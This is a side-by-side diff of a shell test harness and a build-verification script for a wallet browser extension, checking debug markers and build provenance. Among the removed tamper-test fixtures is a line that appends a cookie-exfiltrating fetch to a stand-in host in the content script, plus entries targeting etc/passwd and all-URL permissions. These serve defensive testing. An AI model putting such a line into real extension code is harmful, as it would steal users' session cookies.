# the discarded find status, the line-delimited walk, and then the two the # conflation, the discarded find status, the line-delimited walk. Every one
# receipt replaced: an expectation read out of the verifier's own environment, # was caught by someone building a tree by hand, because nothing in make check
# and a file list read back out of the tree it was supposed to vouch for. Every # could catch it. This is that hand battery, committed and automated.
# one was caught by someone building a tree by hand, because nothing in make
# check could catch it. This is that hand battery, committed and automated.
# #
# Each case asserts the exit status AND a substring of the message. A guard # Each case asserts the exit status AND a substring of the message. A guard
# that fails for the wrong reason (right status, different fault) is itself a # that fails for the wrong reason (right status, different fault) is itself a
@@ -19,14 +17,7 @@
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it # the real script: verify-build takes its ROOT from dirname "$0"/.., so it
# operates on the fixture's dist/ and never reads or writes the repo's build # operates on the fixture's dist/ and never reads or writes the repo's build
# output. The symlink rather than a copy is what makes a deliberate break in # output. The symlink rather than a copy is what makes a deliberate break in
# the real script fail here. The fixture's receipt is written from the bytes # the real script fail here.
# the fixture actually holds, exactly as a build writes one from the bytes it
# emitted; a case that means "the build emitted this" regenerates it, and a
# case that means "something changed dist/ afterwards" does not.
#
# The sha256 command is selected here independently of the one verify-build
# picks. That is deliberate: a harness that reused the implementation's helper
# would agree with it even when it is wrong.
set -eu set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
@@ -35,8 +26,6 @@ VERIFY_BUILD="$ROOT/script/verify-build"
MARKER_ON="autistmask-build-debug=on" MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off" MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1"
NEWLINE=' NEWLINE='
' '
@@ -52,9 +41,6 @@ UNPRIV=""
PERM_ENABLED=no PERM_ENABLED=no
PERM_HOW="" PERM_HOW=""
# The sha256 command, chosen by pick_sha256_tool.
SHA256_CMD=""
WORK="" WORK=""
cleanup() { cleanup() {
@@ -68,10 +54,6 @@ trap cleanup EXIT INT TERM
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")" WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
FIXTURE="$WORK/fixture" FIXTURE="$WORK/fixture"
# The build receipt for the fixture, kept outside the fixture's dist/ — and
# outside the fixture altogether — because that is where a real one lives.
RECEIPT="$WORK/receipt"
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside # verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
# our work dir keeps the run leaving no residue, and keeps it writable for the # our work dir keeps the run leaving no residue, and keeps it writable for the
# unprivileged user the permission cases run as. # unprivileged user the permission cases run as.
@@ -83,67 +65,15 @@ chmod 755 "$WORK"
# --- fixture --------------------------------------------------------------- # --- fixture ---------------------------------------------------------------
# The emitted tree a build of this repo produces in miniature: audited bundles
# (A) that must carry a marker, and plain emitted files (P) that must not —
# including the content script, which runs on every page, and the manifest,
# neither of which the pre-receipt verifier read at all.
FIXTURE_FILES="A dist/chrome/src/popup/index.js
A dist/firefox/src/popup/index.js
P dist/chrome/src/content/index.js
P dist/chrome/manifest.json
P dist/styles.css"
FIXTURE_REAL=""
# A stand-in for an emitted bundle: some text plus one marker literal, which # A stand-in for an emitted bundle: some text plus one marker literal, which
# is all verify-build reads out of the real thing beyond its digest. # is all verify-build reads out of the real thing.
write_bundle() { write_bundle() {
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1" printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
} }
# Digest of $1, taken with the harness's own sha256 command. # A dist/ shaped like a real build: two listed bundles under different
fixture_sha256() { # browsers, an unlisted subtree to make unwalkable, and unlisted files that
# Word-split on purpose: SHA256_CMD is a command with its arguments. # carry no marker and must not be objected to.
# shellcheck disable=SC2086
_fs_out="$($SHA256_CMD "$1")"
printf '%s' "${_fs_out%% *}"
}
# Write the fixture's receipt, with a substitutable header and root line so the
# cases can hand verify-build a receipt that is not one.
write_receipt_custom() {
_wrc_header="$1"
_wrc_root="$2"
chmod u+rw "$RECEIPT" 2>/dev/null || true
rm -f "$RECEIPT"
(
cd "$FIXTURE"
printf '%s\n' "$_wrc_header"
printf 'root %s\n' "$_wrc_root"
_saved_ifs="$IFS"
IFS="$NEWLINE"
for _entry in $FIXTURE_FILES; do
IFS="$_saved_ifs"
_flag="${_entry%% *}"
_path="${_entry#* }"
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
"$_flag" "$_path"
IFS="$NEWLINE"
done
IFS="$_saved_ifs"
) >"$RECEIPT"
# Readable by the unprivileged user the permission cases run as, whatever
# umask this process has, until a case takes that away on purpose.
chmod 644 "$RECEIPT"
}
write_receipt() {
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
}
build_fixture() { build_fixture() {
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
rm -rf "$FIXTURE" rm -rf "$FIXTURE"
@@ -157,12 +87,13 @@ build_fixture() {
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF" write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF" write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css" printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)" {
write_receipt echo "dist/chrome/src/popup/index.js"
echo "dist/firefox/src/popup/index.js"
} >"$FIXTURE/dist/constants-bundles.txt"
# Readable and traversable by the unprivileged user the permission cases # Readable and traversable by the unprivileged user the permission cases
# run as, before those cases take that away again on purpose. # run as, before those cases take that away again on purpose.
@@ -254,51 +185,7 @@ runuser|runuser -u nobody --"
# --- case runner ------------------------------------------------------------ # --- case runner ------------------------------------------------------------
# How verify-build is invoked for a case. The arguments are literal here rather # check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
# than assembled from a string, so nothing about a case's invocation depends on
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
# verifier ignores it — that is the whole of the ambient-environment defect.
run_verify() {
_rv_variant="$1"
_rv_perm="$2"
_rv_bin="$FIXTURE/script/verify-build"
case "$_rv_variant" in
release | release-envdebug)
set -- --expect release --receipt "$RECEIPT"
;;
debug)
set -- --expect debug --receipt "$RECEIPT"
;;
no-expect)
set -- --receipt "$RECEIPT"
;;
no-receipt)
set -- --expect release
;;
bad-expect)
set -- --expect maybe --receipt "$RECEIPT"
;;
unknown-arg)
set -- --expect release --receipt "$RECEIPT" --force
;;
receipt-in-dist)
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
;;
*)
echo "test-verify-build: unknown variant $_rv_variant" >&2
exit 1
;;
esac
if [ "$_rv_perm" = yes ]; then
run_unpriv "$_rv_bin" "$@"
else
"$_rv_bin" "$@"
fi
}
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
# #
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and # Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
# requires both the exit status and the message. <perm> marks a case that only # requires both the exit status and the message. <perm> marks a case that only
@@ -306,7 +193,7 @@ run_verify() {
check_case() { check_case() {
_name="$1" _name="$1"
_perm="$2" _perm="$2"
_variant="$3" _mode="$3"
_want_status="$4" _want_status="$4"
_want_text="$5" _want_text="$5"
_setup="$6" _setup="$6"
@@ -326,22 +213,23 @@ check_case() {
return 0 return 0
fi fi
# Exported rather than set as a command prefix: run_verify may go through if [ "$_mode" = debug ]; then
# run_unpriv, which is a function, and an assignment prefixed to a function _debug=1
# call is not portable. Every other case unsets it, so the environment this else
# harness happens to run in cannot decide anything. _debug=""
case "$_variant" in fi
*envdebug)
AUTISTMASK_DEBUG=1 # Exported rather than set as a command prefix: run_unpriv is a function,
export AUTISTMASK_DEBUG # and an assignment prefixed to a function call is not portable.
;; AUTISTMASK_DEBUG="$_debug"
*) export AUTISTMASK_DEBUG
unset AUTISTMASK_DEBUG || true
;;
esac
_status=0 _status=0
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$? if [ "$_perm" = yes ]; then
_out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
else
_out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
fi
_ok=yes _ok=yes
_why="" _why=""
@@ -384,9 +272,7 @@ check_case() {
# --- cases ------------------------------------------------------------------ # --- cases ------------------------------------------------------------------
# #
# Each runs with the fixture as its working directory. A case that regenerates # Each runs with the fixture as its working directory.
# the receipt is saying "this is what the build emitted"; one that does not is
# saying "the build emitted something else and this happened afterwards".
c_control() { :; } c_control() { :; }
@@ -413,233 +299,38 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; } c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
c_receipt_missing() { rm "$RECEIPT"; } c_manifest_missing() { rm dist/constants-bundles.txt; }
c_receipt_empty() { : >"$RECEIPT"; } c_manifest_empty() { : >dist/constants-bundles.txt; }
c_receipt_unreadable() { chmod 000 "$RECEIPT"; } c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
c_receipt_bad_header() { c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
}
c_receipt_other_tree() { c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
}
c_receipt_path_with_space() { c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
write_receipt
printf 'file %s P dist/two words.js\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_path_outside_dist() { c_unlisted_extension() {
write_receipt
printf 'file %s P etc/passwd\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
c_extra_file_with_marker() {
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
} }
c_extra_file_no_marker() { c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
}
# The four demonstrated bypasses of the pre-receipt verifier.
# A 26-byte file whose entire content is the marker string used to verify ok.
c_marker_only_stub() {
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
}
# The content script runs on every page the browser loads and was never read.
c_tampered_content_script() {
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
>>dist/chrome/src/content/index.js
}
# The manifest decides permissions and CSP and was never read either.
c_tampered_manifest() {
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
>dist/chrome/manifest.json
}
# A dist/ that has nothing to do with this build, carrying the right file
# names and the right marker, offered against this build's receipt.
c_foreign_dist() {
rm -rf dist
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
printf 'body{color:#fff}\n' >dist/styles.css
}
# Cases that state what the build itself emitted, and so regenerate the
# receipt over the changed bytes.
c_no_marker() {
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
write_receipt
}
c_both_markers() { c_both_markers() {
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
write_receipt
}
c_marker_on_plain_file() {
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
>dist/chrome/src/content/index.js
write_receipt
}
c_debug_build() {
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
write_receipt
}
# --- Makefile wiring --------------------------------------------------------
# The verifier cases above prove what verify-build does when it is told what to
# expect. This proves the Makefile tells it — with the mode as an argument, on
# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
# exported in the shell that ran make. Read off `make -n`, so no build runs.
check_makefile_wiring() {
if ! command -v make >/dev/null 2>&1; then
SKIPPED=$((SKIPPED + 1))
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
echo " SKIP (make not found): Makefile wiring"
return 0
fi
# make build must ask for release, and must scrub the flag from the
# verifier's environment, even when the caller has it exported.
_wiring_case "make build passes --expect release" \
build "verify-build --expect release"
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
build "env -u AUTISTMASK_DEBUG"
_wiring_case "make build-debug passes --expect debug" \
build-debug "verify-build --expect debug"
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
build-debug "env -u AUTISTMASK_DEBUG"
}
_wiring_case() {
_wc_name="$1"
_wc_target="$2"
_wc_want="$3"
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
_wc_status=0
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
unset AUTISTMASK_DEBUG
if [ "$_wc_status" -ne 0 ]; then
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target exited $_wc_status"
return 0
fi
_wc_g=0
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
case "$_wc_g" in
0)
PASSED=$((PASSED + 1))
echo " ok: $_wc_name"
;;
1)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target does not run: $_wc_want"
;;
*)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " grep exited $_wc_g, so the recipe was never checked"
;;
esac
} }
run_cases() { run_cases() {
check_case "control: untouched dist passes" \ check_case "control: untouched dist passes" \
no release 0 "2 bundle(s) $MARKER_OFF" c_control no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \ check_case "unlisted marker-carrying file, trailing space in name" \
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control no release 1 "carries a debug marker but is absent from" \
check_case "debug bundles under --expect release fail (make build with
AUTISTMASK_DEBUG=1 exported)" \
no release-envdebug 1 \
"is $MARKER_ON but this build was told to expect" c_debug_build
check_case "debug bundles under --expect debug pass" \
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
check_case "no --expect argument" \
no no-expect 1 "no --expect argument." c_control
check_case "no --receipt argument" \
no no-receipt 1 "no --receipt argument." c_control
check_case "--expect takes release or debug" \
no bad-expect 1 "--expect takes release or debug" c_control
check_case "unknown argument" \
no unknown-arg 1 "unknown argument: --force" c_control
check_case "receipt inside the tree it describes" \
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
check_case "bundle replaced by a file containing only the marker" \
no release 1 "does not contain the bytes this build emitted" \
c_marker_only_stub
check_case "content script tampered with after the build" \
no release 1 \
"dist/chrome/src/content/index.js does not contain the bytes" \
c_tampered_content_script
check_case "manifest.json tampered with after the build" \
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
c_tampered_manifest
check_case "hand-written dist/ offered against this build's receipt" \
no release 1 "does not contain the bytes this build emitted" \
c_foreign_dist
check_case "extra file under dist/ carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
c_extra_file_with_marker
check_case "extra file under dist/ carrying no marker" \
no release 1 \
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
c_extra_file_no_marker
check_case "extra file, trailing space in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_trailing_space c_trailing_space
check_case "extra file, newline in name" \ check_case "unlisted marker-carrying file, newline in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \ no release 1 "carries a debug marker but is absent from" \
c_embedded_newline c_embedded_newline
check_case "dist/ replaced by a symlink" \ check_case "dist/ replaced by a symlink" \
@@ -651,88 +342,64 @@ run_cases() {
check_case "dangling symlink under dist/" \ check_case "dangling symlink under dist/" \
no release 1 \ no release 1 \
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink "reading dist/chrome/dangling.js, so the file could not be" \
c_dangling_symlink
check_case "symlink to a directory under dist/" \ check_case "symlink to a directory under dist/" \
no release 1 \ no release 1 \
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink "reading dist/chrome/link-to-dir, so the file could not be" \
c_dir_symlink
check_case "symlink aliasing an emitted bundle under another path" \ check_case "symlink to a listed bundle under an unlisted path" \
no release 1 \ no release 1 \
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink "dist/chrome/src/aliased.js carries a debug marker but is absent" \
c_alias_symlink
check_case "receipt missing" \ check_case "manifest missing" \
no release 1 "is missing. build.js writes it" c_receipt_missing no release 1 "dist/constants-bundles.txt is missing." \
c_manifest_missing
check_case "receipt empty" \ check_case "manifest empty" \
no release 1 "is empty, so the build wrote nothing to it" \ no release 1 "is empty, so no emitted bundle was found to contain" \
c_receipt_empty c_manifest_empty
check_case "receipt unreadable" \ check_case "manifest unreadable" \
yes release 1 "is not readable, so nothing was inspected." \ yes release 1 "is not readable, so nothing was inspected." \
c_receipt_unreadable c_manifest_unreadable
check_case "receipt is not a build receipt" \ check_case "listed bundle missing" \
no release 1 "does not start with" c_receipt_bad_header
check_case "receipt from a different checkout" \
no release 1 "was written by a build of a different tree" \
c_receipt_other_tree
check_case "receipt names a path containing a space" \
no release 1 "cannot be read back unambiguously" \
c_receipt_path_with_space
check_case "receipt names a path outside dist/" \
no release 1 "names a path that is not under dist/" \
c_receipt_path_outside_dist
check_case "emitted file missing" \
no release 1 \ no release 1 \
"names dist/chrome/src/popup/index.js, which does not exist." \ "lists dist/chrome/src/popup/index.js, which does not exist." \
c_emitted_missing c_bundle_missing
check_case "emitted file empty" \ check_case "listed bundle empty" \
no release 1 "which is empty. An empty file" c_emitted_empty no release 1 "which is empty. An empty bundle" c_bundle_empty
check_case "emitted file unreadable" \ check_case "listed bundle unreadable" \
yes release 1 \ yes release 1 \
"on dist/chrome/src/popup/index.js, so its bytes were never read" \ "reading dist/chrome/src/popup/index.js, so the file could not be" \
c_emitted_unreadable c_bundle_unreadable
check_case "emitted bundle carries no marker" \ check_case "unlisted extension carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
c_unlisted_extension
check_case "listed bundle carries no marker" \
no release 1 "carries no debug marker, so its DEBUG state cannot be" \ no release 1 "carries no debug marker, so its DEBUG state cannot be" \
c_no_marker c_no_marker
check_case "emitted bundle carries both markers" \ check_case "listed bundle carries both markers" \
no release 1 "carries both debug markers, so DEBUG was not resolved" \ no release 1 "carries both debug markers, so DEBUG was not resolved" \
c_both_markers c_both_markers
check_case "marker on a file the build did not record as a bundle" \ check_case "wrong marker for the requested mode" \
no release 1 "carries a debug marker but the build did not" \ no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
c_marker_on_plain_file c_control
check_makefile_wiring
} }
# --- main -------------------------------------------------------------------- # --- main --------------------------------------------------------------------
# The harness cannot build a receipt without a digest, so a missing sha256
# command is a failure here rather than a silent reduction in coverage.
pick_sha256_tool() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256_CMD="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256_CMD="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256_CMD="openssl dgst -sha256 -r"
else
echo "test-verify-build: no sha256 command found (tried sha256sum," \
"shasum, openssl), so no fixture receipt can be written" >&2
exit 1
fi
}
main() { main() {
cd "$ROOT" cd "$ROOT"
@@ -742,7 +409,6 @@ main() {
} }
echo "Testing script/verify-build failure modes..." echo "Testing script/verify-build failure modes..."
pick_sha256_tool
probe_permission_runner probe_permission_runner
if [ "$PERM_ENABLED" = yes ]; then if [ "$PERM_ENABLED" = yes ]; then
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \ echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -760,11 +426,11 @@ main() {
if [ "$SKIPPED" -ne 0 ]; then if [ "$SKIPPED" -ne 0 ]; then
cat <<EOF cat <<EOF
################################################################################ ################################################################################
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM. ## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
## This process is uid $(id -u), and no runner subject to file permissions was ## PROVE THEM. This process is uid $(id -u), and no runner subject to file
## available. Tried: $PERM_HOW. ## permissions was available. Tried: $PERM_HOW.
## Under root, chmod 000 stops neither find nor grep, so the permission cases ## Under root, chmod 000 stops neither find nor grep, so these cases would
## would have passed without testing anything. They were skipped, not counted: ## have passed without testing anything. They were skipped, not counted:
$SKIPPED_NAMES################################################################################ $SKIPPED_NAMES################################################################################
EOF EOF
echo "test-verify-build: $PASSED case(s) passed," \ echo "test-verify-build: $PASSED case(s) passed," \

View File

@@ -1,91 +1,45 @@
#!/bin/sh #!/bin/sh
# script/verify-build: assert that dist/ holds exactly what the build that just # script/verify-build: assert the compiled DEBUG state of the emitted
# ran emitted, and that the compiled DEBUG state of that output is the one the # bundles. Our own extension to scripts-to-rule-them-all, run at the end of
# caller asked for. Our own extension to scripts-to-rule-them-all, run at the # make build / make build-debug.
# end of make build / make build-debug.
# #
# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery # Why this exists: DEBUG makes the publicly committed test recovery phrase the
# phrase the output of wallet creation, so a release artifact built with it live # output of wallet creation, so a release artifact built with it live hands
# hands every new wallet to anyone who reads the repo. The test suite cannot see # every new wallet to anyone who reads the repo. The test suite cannot see
# this, because it loads src/shared/constants.js outside a bundle and takes the # this, because it loads src/shared/constants.js outside a bundle and takes
# fallback branch; the property only exists in the emitted output, so it has to # the fallback branch; the property only exists in the emitted output, so it
# be asserted against the emitted output. # has to be asserted against the emitted output.
# #
# Which mode to expect is an ARGUMENT (--expect release|debug) and is never # What it reads: dist/constants-bundles.txt, written by build.js from
# taken from this script's environment. It used to be read from # esbuild's metafile, naming every emitted bundle that contains
# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1 # src/shared/constants.js. Each of those must carry exactly one of the two
# exported in their shell could run the release target, get a debug build, and # BUILD_DEBUG_MARKER literals that constants.js folds down to.
# have it verified green and exit 0. There is also no default: a caller that
# does not say what it built gets a failure, because "no opinion" is not a
# state this can check anything against.
# #
# Why the provenance half exists: on its own, a marker grep proves nothing # It fails rather than passes whenever it cannot determine a bundle's state.
# about where the bytes came from. A 26-byte file containing only the marker # Minified output is not a stable contract, so "matched neither form" is not
# string used to verify ok; the content script and manifest.json were not read # evidence of anything and must never read as green.
# at all; an entire hand-written dist/ passed. The list of files to check has
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
# emitted, with each file's sha256 and whether it is one of the bundles
# containing src/shared/constants.js, and the Makefile creates that receipt
# path fresh per invocation, outside the repo, and deletes it afterwards.
#
# What that does and does not establish. It establishes that dist/ is byte for
# byte the output of the build.js run that just finished, with nothing added,
# nothing missing and nothing altered in between, and that the audited bundles
# in it compiled to the requested mode. It does NOT establish that the source
# tree or build.js were honest, and it says nothing at all to someone handed a
# dist/ from elsewhere: without the receipt from its own build they have no
# input to this check. That is signing, and it is not this control.
#
# It fails rather than passes whenever it cannot determine something. Minified
# output is not a stable contract, so "matched neither marker" is not evidence
# of anything and must never read as green; the same discipline applies to
# every read here, which is why a grep or a digest that could not be taken is
# a hard failure and not an absence of a problem.
set -eu set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Absolute path to this script, resolved before anything cd's anywhere. # Absolute path to this script, resolved before anything cd's anywhere.
# check_dist_tree re-invokes it through xargs, and $0 on its own may be # check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
# relative to a directory we are about to leave. # relative to a directory we are about to leave.
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")" SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
# Internal re-entry flag; see scan_dist_paths. # Internal re-entry flag; see scan_dist_paths.
SCAN_FLAG="--scan-dist-paths" SCAN_FLAG="--scan-dist-paths"
# A literal newline and tab, for the receipt-shape guards. # A literal newline, for the is_listed guard.
NEWLINE=' NEWLINE='
' '
TAB=' '
MANIFEST="dist/constants-bundles.txt"
MARKER_ON="autistmask-build-debug=on" MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off" MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1" # Set by read_marker.
# Set by the arguments.
RECEIPT=""
EXPECT=""
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
# receipt line number the diagnostics quote.
MARKER="" MARKER=""
SHA=""
ENTRY_HASH=""
ENTRY_FLAG=""
ENTRY_PATH=""
LINENO_R=0
# The sha256 command, chosen by pick_sha256.
SHA256=""
# Totals: the shape pass counts what the receipt claims, the entries pass
# counts what was actually checked against dist/, and the summary reports the
# latter.
SHAPE_COUNT=0
SHAPE_AUDITED=0
COUNT=0
AUDITED=0
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT # Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
# trap because fail() exits from wherever it is called. # trap because fail() exits from wherever it is called.
@@ -96,17 +50,11 @@ fail() {
exit 1 exit 1
} }
usage() {
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
}
cleanup() { cleanup() {
[ -z "$LISTING" ] || rm -f "$LISTING" [ -z "$LISTING" ] || rm -f "$LISTING"
} }
trap cleanup EXIT trap cleanup EXIT
# --- reading files ----------------------------------------------------------
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match # Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
# (exit 1) are answers about the emitted output. Anything else (exit 2: the # (exit 1) are answers about the emitted output. Anything else (exit 2: the
# file could not be read) is not an answer at all, and must not be reported as # file could not be read) is not an answer at all, and must not be reported as
@@ -126,46 +74,34 @@ has_marker() {
esac esac
} }
# Pick the sha256 command once. All three print the digest as the first # Does the manifest list the path $1, as a whole line? Same discipline as
# whitespace-delimited field. If none is present the digests cannot be taken at # has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
# all, and this script has nothing left to check with, so it fails rather than # manifest could not be read and is not an answer at all. Without this, an
# degrading to the marker grep it used to be. # unreadable manifest reads as "this file is not listed" and every emitted
pick_sha256() { # bundle gets reported as an unlisted one.
if command -v sha256sum >/dev/null 2>&1; then #
SHA256="sha256sum" # A path containing a newline is answered without asking grep, because grep
elif command -v shasum >/dev/null 2>&1; then # would read the pattern as two patterns and report a match on either. That is
SHA256="shasum -a 256" # how such a path escaped this check even once the walk stopped splitting it:
elif command -v openssl >/dev/null 2>&1; then # the half before the newline matched a listed line and the file was skipped.
SHA256="openssl dgst -sha256 -r" # The manifest is line-delimited, so it cannot name such a path at all, and
else # "not listed" is the only true answer.
fail "no sha256 command found (tried sha256sum, shasum, openssl), so is_listed() {
the emitted files cannot be checked against the build receipt at all. case "$1" in
Refusing to report success." *"$NEWLINE"*) return 1 ;;
fi esac
} _il_status=0
grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and case "$_il_status" in
# not a pass: it means the artifact was never read. 0) return 0 ;;
read_sha256() { 1) return 1 ;;
_rs_status=0 *)
# Word-split on purpose: SHA256 is a command with its arguments. fail "grep exited $_il_status reading $MANIFEST, so it could not be
# shellcheck disable=SC2086 searched and nothing was established about which bundles it lists. That is
_rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$? a permissions or I/O fault on the manifest, not a stale manifest. Refusing
[ "$_rs_status" -eq 0 ] || to report success."
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
and nothing was established about them. That is a permissions or I/O fault
on the artifact, not a mismatch. Refusing to report success."
SHA="${_rs_out%% *}"
case "$SHA" in
"" | *[!0-9a-f]*)
fail "$SHA256 produced no usable digest for $1, so its bytes were never
checked. Refusing to report success."
;; ;;
esac esac
[ "${#SHA}" -eq 64 ] ||
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
a sha256. Refusing to report success."
} }
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be # Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -204,189 +140,40 @@ read_marker() {
fi fi
} }
# --- the receipt ------------------------------------------------------------ # The manifest says which bundles must carry a marker. This says no other
# emitted file may carry one, which catches a manifest that has gone stale
# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and # or short rather than trusting whatever it happens to list.
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
# remainder of the line, so a path carrying a space or a tab would be read back
# as something other than what was written; build.js refuses to emit such a
# name, and a receipt that contains one is malformed rather than describing a
# file. Every rejection here is a failure: a line that cannot be understood is
